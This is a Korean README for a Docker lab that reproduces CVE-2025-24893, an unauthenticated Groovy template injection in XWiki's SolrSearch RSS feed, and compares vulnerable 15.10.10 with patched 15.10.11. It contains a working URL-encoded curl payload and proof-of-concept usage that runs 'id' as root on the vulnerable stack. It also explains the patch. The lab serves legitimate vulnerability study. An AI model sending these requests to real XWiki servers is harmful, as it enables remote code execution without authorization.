
XWiki SolrSearch의 인증되지 않은 SSTI-to-RCE 취약점인 CVE-2025-24893을 재현하고, 취약한 버전과 패치된 버전의 동작을 비교하는 자체 포함형 Docker 랩입니다.
CVE-2025-24893을 재현하는 자체 포함(self-contained) Docker 랩입니다. XWiki의 SolrSearch RSS 피드에 존재하는 서버 측 템플릿 주입(SSTI)으로, 인증되지 않은 원격 코드 실행(RCE)으로 이어집니다. 이 랩은 취약한 버전 15.10.10과 패치된 버전 15.10.11을 실행하므로, 동일한 요청이 한쪽에서는 성공하고 다른 쪽에서는 실패하는 모습을 보여줄 수 있습니다.
AI 도구 사용에 관한 참고사항. 이 프로젝트를 준비하면서 저는 문서 및 접근 방식 조사, 코드 리뷰, 그리고 README.md 파일과 LaTeX 보고서의 문구 다듬기를 위해 두 가지 AI 어시스턴트 --- Anthropic의 Claude Opus 4.8과 DeepSeek-V4-Flash-0731 --- 의 도움을 제한적으로 받았습니다. 이들의 기여는 미미했으며 전적으로 제 자신의 결정에 종속된 것이었습니다.
docker-compose 바이너리가 아닌 docker compose 하위 명령). 보고서용 버전은 docker --version과 docker compose version으로 기록하세요.tomcat:9-jre17, mysql:8.4, 순수 Java JDBC 드라이버는 모두 멀티 아키텍처를 지원합니다.cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
두 스택 간 유일한 차이는 XWiki 버전입니다. 데이터베이스 이미지와 JDBC 드라이버를 포함한 그 밖의 모든 것이 동일하므로, 동작상의 변화는 오직 패치 때문이며 다른 어떤 요인도 없습니다.
빌드 및 시작:
docker compose -f docker-compose.vuln.yml up --build -d
첫 빌드는 XWiki를 다운로드하고 압축을 푸는 작업이라 몇 분 정도 걸립니다. Tomcat이 시작을 알릴 때까지 기다리세요:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
일회성 초기 부팅 설정을 완료하세요: http://localhost:8080을 열고 Distribution Wizard를 완료합니다(기본 XWiki Standard 플레이버 설치). 이 과정은 익스플로잇이 대상으로 삼는 SolrSearch UI를 구축합니다. 엔드포인트는 게스트(비로그인 사용자)도 접근할 수 있으므로 공격 자체에는 로그인이 필요 없으며, 로그인이 필요한 단계는 이 초기 설정이 유일합니다.
익스플로잇을 실행하세요(인증 없이):
python3 exploit.py http://localhost:8080
취약한 스택에서의 예상 출력:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
선택 사항으로, 읽기 전용 명령을 사용해 실행이 OS에 도달하는지 확인할 수 있습니다:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
동일한 요청을 일반 curl 원라이너로 표현하면:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
보고서용 출력 화면을 캡처한 후 스택을 종료하세요:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
http://localhost:8080에서 Distribution Wizard를 다시 완료한 후, 동일한 익스플로잇을 실행하세요:
python3 exploit.py http://localhost:8080
패치된 스택에서의 예상 출력:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
이 화면도 캡처한 후 초기화하세요:
docker compose -f docker-compose.patched.yml down -v
15.10.10에서는 피드 출력 블록이 피드를 단순 Velocity 표현식($xwiki.feed.getFeedOutput($feed, 'rss_2.0'))으로 내보냅니다. 따라서 사용자의 검색 텍스트를 반영하는 피드가 XWiki의 렌더링 파이프라인을 다시 통과하면서, 내장된 {{groovy}} 매크로가 실행됩니다. 15.10.11에서는 해당 블록이 새로운 rawResponse 매크로 호출(SolrSearchMacros.xml 954행, 매크로는 templates/macros.vm에 정의됨)로 대체되었습니다. rawResponse는 콘텐츠 유형을 명시적으로 설정하고(application/rss+xml), $response.writer.print(...)로 피드 바이트를 응답에 직접 기록하며, $xcontext.setFinished(true)를 호출하여 추가 렌더링을 중단합니다. 따라서 피드는 변경 없이 그대로 전송되며 내장된 {{groovy}} 블록은 결코 평가되지 않습니다. 패치 커밋 67021db9b8ed26c2236a653269302a86bf01ef40, 보안 권고 GHSA-rr6p-3pfg-562j. 권고에는 수동 우회 방법도 나와 있습니다: Main.SolrSearchMacros를 편집하여 동일한 rawResponse 패턴을 사용하면 업그레이드 없이도 취약 지점(sink)을 차단할 수 있습니다.
tomcat:9-jre17, 데이터베이스 mysql:8.4, 포트 8080.docker compose -f <file> down -v로 상태를 초기화합니다. 다음 up은 처음부터 다시 초기화됩니다.xwiki/xwiki, 루트 계정 xwiki-root)은 이 로컬 랩에서만 사용됩니다.for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/(Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) 및 mysql/init.sql은 XWiki 공식 빌드 https://github.com/xwiki-contrib/docker-xwiki(LGPL-2.1)에서 각색하거나 벤더링한 것입니다. Dockerfile은 업스트림 이미지와 세 가지 작은 차이점이 있으며 모두 문서화되어 있습니다: (1) XWiki와 JDBC 버전 및 체크섬을 빌드 인자로 전달하므로 하나의 파일로 취약한 이미지와 패치된 이미지를 모두 빌드할 수 있고, (2) 명시적인 chmod +x를 통해 파일 압축 해제나 전송 과정에서 Unix 권한이 손실되더라도 엔트리포인트가 실행 가능함을 보장하며, (3) 여기서는 사용되지 않는 .env 파일을 언급하던 오래된 업스트림 주석을 수정했습니다. XWiki는 XWiki 개발 팀의 저작권입니다.